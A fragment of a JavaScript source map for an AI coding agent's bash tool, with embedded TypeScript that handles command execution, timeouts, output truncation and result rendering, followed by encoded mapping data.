snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\t// The default belongs to the tool, not to one backend. Resolved here, every\n\t\t\t\t\t\t// backend gets the effective value; resolved inside the local one, a custom\n\t\t\t\t\t\t// backend silently had no default at all.\n\t\t\t\t\t\ttimeout: timeout ?? DEFAULT_BASH_TIMEOUT_SECONDS,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tconst status = `Command timed out after ${timeoutSecs} seconds. Pass a larger timeout, or run it with background: true and retrieve the output by handle.`;\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, status), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(component, result as any, options, context.showImages);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
|
|
1
|
+
{"version":3,"file":"bash.js","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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